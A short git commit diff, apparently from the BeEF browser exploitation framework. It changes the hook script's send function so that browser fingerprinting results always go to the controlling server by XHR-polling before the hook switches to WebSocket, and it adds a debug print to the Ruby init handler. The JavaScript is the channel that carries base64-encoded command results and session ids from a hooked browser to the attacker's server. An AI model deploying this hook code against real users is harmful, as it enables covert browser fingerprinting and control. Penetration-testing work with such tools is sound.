Fixed a nasty bug with WebSockets. BrowserDetails are now always sent with XHR-polling, before switching protocols using WebSockets.

This commit is contained in:
antisnatchor
2012-11-18 15:45:46 +00:00
parent 05e31fd250
commit 81f03f0024
2 changed files with 7 additions and 7 deletions

View File

@@ -76,22 +76,21 @@ beef.net = {
}
},
//Queues the current command and flushes the queue straight away
// Queues the current command and flushes the queue straight away.
// Always send Browser Fingerprinting results (beef.net.browser_details(); -> /init handler) using normal XHR-polling.
send:function (handler, cid, results, callback) {
if (typeof beef.websocket === "undefined") {
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback);
this.flush();
}
else {
}else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}
catch (e) {
}catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
}
}
}
},

View File

@@ -24,6 +24,7 @@ module BeEF
end
def setup()
print_debug "[INIT] Processing Browser Details..."
config = BeEF::Core::Configuration.instance
# validate hook session value